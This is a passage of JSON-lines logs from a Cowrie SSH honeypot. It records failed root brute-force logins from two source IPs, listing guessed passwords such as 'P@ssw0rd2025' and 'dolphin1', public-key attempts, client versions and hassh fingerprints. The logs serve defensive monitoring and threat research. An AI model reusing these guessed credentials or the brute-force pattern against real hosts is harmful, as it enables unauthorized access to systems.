-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:09.967918Z","src_ip":"60.165.124.241","session":"747a551964e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2025","message":"login attempt [root/P@ssw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:10.693645Z","src_ip":"60.165.124.241","session":"747a551964e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:11.936564Z","src_ip":"60.165.124.241","session":"747a551964e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42036,"dst_ip":"10.17.0.5","dst_port":22,"session":"8634f7266252","protocol":"ssh","message":"New connection: 60.165.124.241:42036 (10.17.0.5:22) [session: 8634f7266252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:12.163323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:12.167671Z","src_ip":"60.165.124.241","session":"8634f7266252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:12.402421Z","src_ip":"60.165.124.241","session":"8634f7266252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medion","message":"login attempt [root/medion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.120566Z","src_ip":"60.165.124.241","session":"8634f7266252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.68.225.189","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"c214358029ff","protocol":"ssh","message":"New connection: 194.68.225.189:36112 (10.17.0.5:22) [session: c214358029ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.183239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.201540Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.334109Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHXT4oGg8o3WgteYOj3K4Mz/2VFy7Pvs3cg6OnJ5pBbIK3hQ1lcVCAM2y01G8aN24LQ1pQCAdWqEn3xGF17XllnkgYV8Mnc3j1MK0nkM8lBq/i3eO9h+/dZNQy9+bIDXaG8kgG1uzdIwD4kSVHwBjhaLuRz5IHBPtQPNZq9yuhdCX+eFUuP6kAxVKiN+zZVW4+xfKJZbagf6n0+WGCnQIQUK07F2HrifGLdYbQ4A5yJ8ucxLGg0t2FpWEx1P87hfyZcCr1jLuIRs7+7fF6BmUb3CEobXlNQqeOKfTHU8LSrqg1WNAV2PNW9AlIWdCAeCNDOPA+/qcWyGWAWmAF08p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.907258Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHXT4oGg8o3WgteYOj3K4Mz/2VFy7Pvs3cg6OnJ5pBbIK3hQ1lcVCAM2y01G8aN24LQ1pQCAdWqEn3xGF17XllnkgYV8Mnc3j1MK0nkM8lBq/i3eO9h+/dZNQy9+bIDXaG8kgG1uzdIwD4kSVHwBjhaLuRz5IHBPtQPNZq9yuhdCX+eFUuP6kAxVKiN+zZVW4+xfKJZbagf6n0+WGCnQIQUK07F2HrifGLdYbQ4A5yJ8ucxLGg0t2FpWEx1P87hfyZcCr1jLuIRs7+7fF6BmUb3CEobXlNQqeOKfTHU8LSrqg1WNAV2PNW9AlIWdCAeCNDOPA+/qcWyGWAWmAF08p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:13.911336Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DSlpCtVdDN8xZY2NOH7ebOF8dl6LheZQoFwjCnzLHQmkD79hKf3Uhq09X0csEG2EtEsP8dhcjlIHBxFnLxGt4zgFQ0wi8GzOwBcYP+WFFRC8O/hW4TsXEGSGFZH5kiCeFgWYnknti01BD+zy6wnqMMIKr+4oeJ5FGV3gzCXRsxCzFo/+Ly/+7gZyIggW5VuIVRjCe5hrZ1p/PvVwWFrV6HyvtHyGCBX8croulBbxoIxzjtPDbqy3el3Wr3eZGT6gDWaJbiXLO+djO5hnX61hbEaCQ33ydqUk2Yi+cq73w4xweuydGlSJmaQdMkOElF3QXZh46fcSlUtFTn92eUG/rUCNUnrIEGABJNRIK2G0FbCUS67hmrbbgx7qXqVgzuI5p6Qer9fHeKwTwQ49mgkGhm7HgksPg7SRmmihj7+ZtCyIFrx0pt+UftfuWfM8sKOV7NmTqIZgx6Op7jx4PSf1lURAaRUvtESayEPwOhde9XhRBeYVpj+6D2BQubi0e8c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.028476Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DSlpCtVdDN8xZY2NOH7ebOF8dl6LheZQoFwjCnzLHQmkD79hKf3Uhq09X0csEG2EtEsP8dhcjlIHBxFnLxGt4zgFQ0wi8GzOwBcYP+WFFRC8O/hW4TsXEGSGFZH5kiCeFgWYnknti01BD+zy6wnqMMIKr+4oeJ5FGV3gzCXRsxCzFo/+Ly/+7gZyIggW5VuIVRjCe5hrZ1p/PvVwWFrV6HyvtHyGCBX8croulBbxoIxzjtPDbqy3el3Wr3eZGT6gDWaJbiXLO+djO5hnX61hbEaCQ33ydqUk2Yi+cq73w4xweuydGlSJmaQdMkOElF3QXZh46fcSlUtFTn92eUG/rUCNUnrIEGABJNRIK2G0FbCUS67hmrbbgx7qXqVgzuI5p6Qer9fHeKwTwQ49mgkGhm7HgksPg7SRmmihj7+ZtCyIFrx0pt+UftfuWfM8sKOV7NmTqIZgx6Op7jx4PSf1lURAaRUvtESayEPwOhde9XhRBeYVpj+6D2BQubi0e8c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.032872Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLXoKKh7cUT+qBz4HzgfNrbaiuHA9FGd8kpDr49bID0q0L9Tcp/zBbJiZ0JoVDSOe4OeinrQq8s4TqZfVKCap2yWLPH1KwGzc3iaUeQ0C+w9TtrpoDjh0RraAxEcqDpPRB9qIqzxvhCqHK5XojuoWW0w1Xx0NI1DyuAzYq2774DdqWjQo7nxstu4GwL4xTnHR8YCHzaYX3aT7TehMEK8x9YvHN6FT9k+OTIA/kEB+dglk4VhN6Mpw8SxHY8Asrkyu8AfqQPsII+mB1N9Yu3a23DJQl5hqug2uhyamVQNpcROOXyGPM979Zf0xX03JZDqWCZTkPpQIrHbDwS/zNZZ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.153023Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLXoKKh7cUT+qBz4HzgfNrbaiuHA9FGd8kpDr49bID0q0L9Tcp/zBbJiZ0JoVDSOe4OeinrQq8s4TqZfVKCap2yWLPH1KwGzc3iaUeQ0C+w9TtrpoDjh0RraAxEcqDpPRB9qIqzxvhCqHK5XojuoWW0w1Xx0NI1DyuAzYq2774DdqWjQo7nxstu4GwL4xTnHR8YCHzaYX3aT7TehMEK8x9YvHN6FT9k+OTIA/kEB+dglk4VhN6Mpw8SxHY8Asrkyu8AfqQPsII+mB1N9Yu3a23DJQl5hqug2uhyamVQNpcROOXyGPM979Zf0xX03JZDqWCZTkPpQIrHbDwS/zNZZ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.156982Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Yz9qaAXWlcUaP04o2haywEsosMHks8xafEkUWdLoobQfINVRy21HCnJPTB30ksQ3gAOQ58p1xLlyr9Vkmy+C/b1AJpkUT6b8GuvY6JC1fNXMqSsdSok0nAE7PP5LFECbhfNMDHPOP/NXUFG1qtc4fDcQ5shDnvm2sSeBaWM5TT/POsrDULrca1vyZTqEsb7M+MkFJFZ7XwJHZZRwEwc3wxcknUntyJvPCLhX6GpeVonHurMufhVfvqY5w/9VSh5cys72NOIXNcmQu7BpMhl6KVM/22Nz71MTY9lQ2sCMEsKAR160t6buVfMdR0bOBts0MRUjUDn9THKqn+6nxxIaDJlq0j9ijkDiLQtPU3JnvCDVnXtUgZmg6MuZezLfdg6NnyT5z4XP3fOETiSbj0Fsyh07bvXp3AEQ0jNIrTNOdAq1vUlMHOpk07SzYOiW5fJPXpyLevbiL4N2mYxZ5JRGopEL5CFLYpesS4CdojfeUIaI2pvP1DQFbmMpGo9Fh5f4jGus6SPW21Mz1p4ODx8G9+4Acoh7V88Zohm6+m+5nTeOSrRetI1Vz/peLDmqfc2uVIvIaTdAR+EMWSTSy3lmlqMP2Geg4IAKdQL/euND7t4AEsOJMeu52+dQ+slna9rtxe/JY6UPq66R2C5g1mhfYF9L0+OyftWcob9ULBuqsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.279917Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Yz9qaAXWlcUaP04o2haywEsosMHks8xafEkUWdLoobQfINVRy21HCnJPTB30ksQ3gAOQ58p1xLlyr9Vkmy+C/b1AJpkUT6b8GuvY6JC1fNXMqSsdSok0nAE7PP5LFECbhfNMDHPOP/NXUFG1qtc4fDcQ5shDnvm2sSeBaWM5TT/POsrDULrca1vyZTqEsb7M+MkFJFZ7XwJHZZRwEwc3wxcknUntyJvPCLhX6GpeVonHurMufhVfvqY5w/9VSh5cys72NOIXNcmQu7BpMhl6KVM/22Nz71MTY9lQ2sCMEsKAR160t6buVfMdR0bOBts0MRUjUDn9THKqn+6nxxIaDJlq0j9ijkDiLQtPU3JnvCDVnXtUgZmg6MuZezLfdg6NnyT5z4XP3fOETiSbj0Fsyh07bvXp3AEQ0jNIrTNOdAq1vUlMHOpk07SzYOiW5fJPXpyLevbiL4N2mYxZ5JRGopEL5CFLYpesS4CdojfeUIaI2pvP1DQFbmMpGo9Fh5f4jGus6SPW21Mz1p4ODx8G9+4Acoh7V88Zohm6+m+5nTeOSrRetI1Vz/peLDmqfc2uVIvIaTdAR+EMWSTSy3lmlqMP2Geg4IAKdQL/euND7t4AEsOJMeu52+dQ+slna9rtxe/JY6UPq66R2C5g1mhfYF9L0+OyftWcob9ULBuqsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.283724Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.357481Z","src_ip":"60.165.124.241","session":"8634f7266252","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7xFVWjh0MF4mkwSHVPzhGvN3CqXiB6ErgYETzlSDiKU3bCr6+oOZO08U35BDv+R7pYXW7WhLEFH6QBKei1B+nKyclSevj4hC91sw9mw+KLLYyzcK/14ORl6tzHqSdHhxTUF9HvVmczhqOpfn2FSszelFcSkfqn/0zE0oZS0Y/fhkuAMZn5OxoIBBjItlqbsOfpp8g+jqHdI4kMDV8MNIX57srjFs7sFfTMzXf0pUqfADQVCKeN0hWCTBaN9TX1eg2XAqnb+fjNqQjZWeaKIJhZpiHX2YcyBBC7zCNFaciJd+62kNnIqBw38mN6haitkPSo+7/GoUCxWieJstDSs2Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.404196Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7xFVWjh0MF4mkwSHVPzhGvN3CqXiB6ErgYETzlSDiKU3bCr6+oOZO08U35BDv+R7pYXW7WhLEFH6QBKei1B+nKyclSevj4hC91sw9mw+KLLYyzcK/14ORl6tzHqSdHhxTUF9HvVmczhqOpfn2FSszelFcSkfqn/0zE0oZS0Y/fhkuAMZn5OxoIBBjItlqbsOfpp8g+jqHdI4kMDV8MNIX57srjFs7sFfTMzXf0pUqfADQVCKeN0hWCTBaN9TX1eg2XAqnb+fjNqQjZWeaKIJhZpiHX2YcyBBC7zCNFaciJd+62kNnIqBw38mN6haitkPSo+7/GoUCxWieJstDSs2Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.408226Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.525702Z","src_ip":"194.68.225.189","session":"c214358029ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45172,"dst_ip":"10.17.0.5","dst_port":22,"session":"303e7d184d57","protocol":"ssh","message":"New connection: 60.165.124.241:45172 (10.17.0.5:22) [session: 303e7d184d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.595624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.600540Z","src_ip":"60.165.124.241","session":"303e7d184d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:14.839669Z","src_ip":"60.165.124.241","session":"303e7d184d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphin1","message":"login attempt [root/dolphin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:15.587734Z","src_ip":"60.165.124.241","session":"303e7d184d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:16.833599Z","src_ip":"60.165.124.241","session":"303e7d184d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48154,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c75638aa1b","protocol":"ssh","message":"New connection: 60.165.124.241:48154 (10.17.0.5:22) [session: 60c75638aa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:17.074417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:17.079276Z","src_ip":"60.165.124.241","session":"60c75638aa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:17.333563Z","src_ip":"60.165.124.241","session":"60c75638aa1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nsfocus","message":"login attempt [root/nsfocus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:18.055453Z","src_ip":"60.165.124.241","session":"60c75638aa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:19.297008Z","src_ip":"60.165.124.241","session":"60c75638aa1b","protocol":"ssh"}
